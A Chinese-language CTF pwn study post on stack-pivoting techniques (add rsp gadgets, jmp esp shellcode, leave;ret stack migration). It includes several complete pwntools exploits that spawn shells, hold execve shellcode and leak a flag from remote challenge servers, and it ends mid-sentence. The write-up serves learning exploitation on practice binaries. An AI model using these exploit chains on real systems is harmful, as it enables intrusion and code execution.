本人刚学pwn不久,最近在学习过程中学到了各种需要栈帧调节的题目,以此记录一下。
在一些栈溢出的程序中,我们会碰到一些问题,例如溢出的可控字节数太少,无法构造我们想要的rop链,程序ASLR开启后导致的栈地址不可预测等。对于这种问题,常用的思路包括:
这里总结了2种题型:
这种题型就需要用Ropgadget找一个控制esp的gadget,然后简单修改esp值的大小,来满足我们的需求。
这个题目就是一个修改esp扩大栈空间,从而构造rop链获取shell的题目。
由于这个程序使用静态编译和strip命令剥离符号,用ida打开没有我们平时看的那么简单,
很多函数已经无法识别,我们就需要自己调试,然后推测是什么函数。
start函数中,call的函数是__libc_start_main, 上一行的 offset则是main函数
那个箭头就是main函数了。进入main函数以后,可以经过syscall中rax的参数来确认其是什么函数,很明显一个函数是alarm函数,先手动nop一下。
把这个函数去除后,方便gdb的后期调试。接着可以很容易确定一下puts函数跟read函数,在ida中修改一下。
下面那个40108e函数是比较复杂的,我用edb动态调试来确定出其中的某些函数:
对于这个函数,先确定一下其参数。
dump过去就会发现是复制了一份。所以就确定这个函数是strncpy
是函数。
对于这个函数char *strncpy(char *dest, const char *src, int n)
将src指向的字符数组中n个字符复制到dest指向的字符数组中,在第一个空字符处停止,并返回被复制后的dest。
对于下一段就是判断一下,是否与0x79和0x70相等,可以来手动修改值让其相等。
往后走会发现先溢出了,在做溢出题的时候看到return 就应该想办法想上跳。
溢出的这个地址就是刚刚又syrcpy函数复制过来0x50字节中的最后8个字节,因为是strncpy函数,我们输入的字符串中是不能有\x00,否则会被截断,从而无法复制满0x50字节制造可控溢出,所以前0x48个字节中,我们不能写入任何地址。在这种情况下就需要通过修改esp来完成漏洞利用。
在最前面的read函数中,给了十分大的缓冲区可以用,我们可以把ROP链放在0x50字节之后,然后通过增加esp的值把栈顶抬到ROP链上,紧接着执行这个rop链即可。
查到one_gadget发现0x000000000046f205 : add rsp, 0x58 ; ret
正好符合要求。然后gdb调试一下确定一下rop链从50个字节后的那里开始合适即可。(这个在找onegadget的时候注意不要把rsp搞成esp了,自己在做的时候因为这个调试了半天,才发现是这个错误,导致exp不成功)
from pwn import *
import time
io = process('./vss')
e = ELF('./vss')
io.recvuntil('Password:\n')
add_rsp_0x58_ret = 0x0046f205
pop_rax_ret = 0x0046f208
pop_rdi_ret = 0x0401823
pop_rsi_ret = 0x0401937
pop_rdx_ret = 0x043ae05
bss = 0x6C8178 -10
syscall_ret = 0x0045f2a5
rop1 = [
pop_rax_ret,
0,
pop_rdi_ret,
0,
pop_rsi_ret,
bss,
pop_rdx_ret,
10,
syscall_ret,
pop_rax_ret,
0x3b,
pop_rdi_ret,
bss,
pop_rsi_ret,
0,
pop_rdx_ret,
0,
syscall_ret
]
# raw_input('->')
io.sendline('py' + 'a'*70 + p64(add_rsp_0x58_ret)+ 'b'* 8 + ''.join(map(p64,rop1)))
# raw_input('->')
sleep(0.1)
io.send('/bin/sh\x00')
io.interactive()
这个nx也没有开,可以用栈执行shellcode
signed int vul()
{
char s; // [esp+18h] [ebp-20h]
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
代码很简单,但是可以发现可以溢出的字节只有50-0x20-4=14个字节可控,所以是很难写出rop链来获取咱们目的的。然后就可以考虑控制栈指针的攻击思路,就是先把shellcode摆在栈上,然后控制eip到达这里就可以了。但是由于程序本身会开启 ASLR 保护,所以我们很难直接知道 shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp 处。
找一下控制esp的gadget
0x08048504 : jmp esp
然后怎么控制eip到shellcode上呢,因为没有nx保护,我们可以写一段指令来控制偏移:
sub esp,0x28
jmp esp
from pwn import *
#io = process('./b0verfl0w')
context.arch = 'i386'
io = remote('node3.buuoj.cn',29410)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode + (36-len(shellcode_x86))*'b'+p32(jmp_esp) + sub_esp_jmp
io.readuntil('?\n')
#raw_input('->')
io.sendline(payload)
io.interactive()
在 Stack Migration 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。
我们知道在函数建立栈帧时有两条指令push ebp; mov ebp, esp
,而退出时同样需要消除这两条指令的影响,即leave(mov esp, ebp; pop ebp)
。且leave一般紧跟着就是ret。因此,在存在栈溢出的程序中,只要我们能控制到栈中的ebp,我们就可以通过两次leave劫持栈。
第一次随着程序流leave; ret
,new esp为我们构造新栈的目标地址。 可以看到执行到ret时,esp还在原来的old栈上,而ebp已经指向了新的栈的栈顶。
第二次进入我们放入栈上的leave; ret
的gadget(这个是我们事先写上栈的)esp已经被成功劫持到新的栈上,执行完gadget后栈顶会 在new_esp-4(64位是-8)的位置上。此时栈完全可控了,通过预先或者之后在new stack上布置的rop链可以轻松完成攻击。
这个是在HITCON_training的一个练习,直接给的有源码,我给编译成了64位版本。
#include <stdio.h>
int count = 1337 ;
char *t= "Z\xc3" ;
int main(){
if( count!=1337 ){
_exit(1);
}
count++ ;
char buf[48];
setvbuf(stdout,0,2,0);
puts("Try your best : " );
read(0, buf,128);
return ;
}
gcc -z relro -z now -fno-stack-protector -mpreferred-stack-boundary=2 migration.c -o migration
编译命令
这个题纯粹就是为了练习的Stack Migration用的,可以不分析代码直接用gdb-peda直接来测试:
熟悉的栈溢出,但是下面多出来的一些字符串,也是程序不能接受的部分,也可以作为一个需要考虑栈迁移的标志。
注意一下rsp被覆盖的值。
计算padding为48.
计算一下,可以填入多少的可控字段。去除一下刚刚程序不能存入的部分和padding部分,还有80个字节可以用。其中一个来伪造new esp,剩下也就还有9个gadget可以用,可以给我构造第一个rop链。
假设我们已经填入了溢出字符,buf1即为我们要去的新栈,这个选择bss段的后一半:
开始执行一下leave 中的mov rsp,rbp
:
此时rsp 也指向了 rbp指向的位置,在执行leave中的pop rbp
:
此时rbp已经到了我们伪造的新栈buf1,然后开始执行ret,进入执行pop_rdi的gadget:
此时已经将buf1的地址,推入rdi,作为gets的参数,执行gets函数后,我们就可以往buf1上填入我们的rop链,此时栈大小已经没有限制了,可以任意写。
在这个buf1的栈空间里,我们需要先把rbp指向的位置写入buf2(下一个构造的新栈),然后构造rop链把puts的内存地址给泄露出来,进而可以算出libc的基地址,接着再构造一个gets函数。接着是执行一下leave 的gadget:
执行完以后就可以发现我们,已经完全控制了栈。并且开了一个buf2的新栈,留着在buf1调用gets函数时来在buf2新栈中摆上调用system(/bin/sh)函数的rop链。然后继续执行:
这就泄露出了puts函数的内存地址。接着开始往buf2新栈上读rop链:
读入完成,接着再次执行leave的gadget:
可以看到esp到了新栈,rbp因为刚刚在buf2填入的buf1,又会到了buf1,这个地址可以随便填了,对做题不影响,填写这个只是可以看到再次栈转移。接着执行buf2新栈的rop链:
就可以拿到shell了。
借着这个思路就可以开始写exp:
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./test')
l = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# io = remote('127.0.0.1',4000)
io = process('./test')
pop_rdi_ret = 0x400703
pop_rsi_r15_ret= 0x0400701
pop_rdx_ret= 0x0400724
leave_ret= 0x0400699
buf1 = 0x00602000 - 0x200
buf2 = buf1 + 0x100
padding = 56 - 8
puts_plt = e.symbols['puts']
puts_got = e.got['puts']
read_add = e.symbols['read']
io.recvuntil(':')
p = 'a'*padding + flat([buf1,pop_rdi_ret,0,pop_rsi_r15_ret,buf1,0,pop_rdx_ret,0x100,read_add,leave_ret])
#raw_input('->')
io.send(p)
sleep(0.1)
p = flat([buf2,pop_rdi_ret,puts_got,puts_plt,pop_rdi_ret,0,pop_rsi_r15_ret,buf2,0,pop_rdx_ret,0x100,read_add,leave_ret])
sleep(0.1)
#raw_input('->')
io.sendline(p)
io.recvuntil('\n')
puts = u64((io.recv(6)).ljust(8,'\x00'))
libc = puts - l.symbols['puts']
print('libc_base:' + hex(libc))
binsh_add = l.search('/bin/sh\x00').next() + libc
#print(binsh_add)
# raw_input('->')
system_add = l.symbols['system'] + libc
p = flat([buf1,pop_rdi_ret,binsh_add,system_add])
sleep(0.1)
io.sendline(p)
io.interactive()
32位程序,开了nx保护
这个明显的栈溢出,但是0x60-0x50-0x8 = 8。发现只有一个gadget位置,无法构造我们想要的rop链。但是前面的第一个read函数,可以读入很大空间,并且第二个参数buf的地址是固定的。
那这个题明显就是可以Stack Migration来解决问题了,并且只需再写一个leave ret就控制栈了。
程序中有着open,read,puts函数,我们可以写一个rop链,调用open函数,控制其参数是./flag
,并在gdb中调试将其返回的文件fd号记录下来,然后传递给read函数,让其读入文件内容存入某个缓冲区,再用puts函数输出一下flag文件的内容即可。在第一个read的时候,我们就需要写好rop链。然后在最后一个read函数时,控制好ebp指向我们的新栈。
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# io = process('./ROP')
io = remote('47.103.214.163',20300)
e = ELF('./ROP')
buf = 0x06010A0
# libc = e.libc
padding = 80
leave_ret = 0x040090d
pop_rdi_ret = 0x00400a43
pop_rsi_r15 = 0x00400a41
open_plt = 0x4007b0
read_plt = 0x400780
puts_plt = 0x400760
io.recvuntil('think so?\n')
p = flat(['./flag\x00\x00',pop_rdi_ret,buf,pop_rsi_r15,0,0,open_plt,pop_rdi_ret,4,pop_rsi_r15,buf+0x80,0,read_plt,pop_rdi_ret,buf+0x80,puts_plt])
io.sendline(p)
io.recvuntil('\n')
p = padding * 'a' + p64(buf) + p64(leave_ret)
raw_input('->') #手动下一个断点,以后让gdb附加上进行调试
io.send(p)
flag = io.recvline_contains('hgame')
print(flag)
io.interactive()
我们跟着exp来调试一下,看看效果:
此时的esp是我们伪造的new esp,已经指向了我们的目标位置,并且第一个rop链接已经送过去,可以看到./flag
的字眼。执行一下leave:
可以看到rbp的值已经等于我们伪造的值,esp还在原来栈上。接着执行ret,进入下一个leave ret:
先记录下当前的状态,开始执行leave:
执行完发现esp已经到达了新栈buf+8的位置,此时的栈帧已经是我们完全想要的,已经劫持了程序流程,并且新栈空间很大,可以满足我们的需求。ebp是多少已经不重要了,我们直接填入./flag
,这个固定地址也做为给open函数做参数。
在调试的时候,执行完open函数需要把返回的fd值记录下,给read函数做参数。最后由puts函数在输出flag:
这下可以总结下利用思路也就是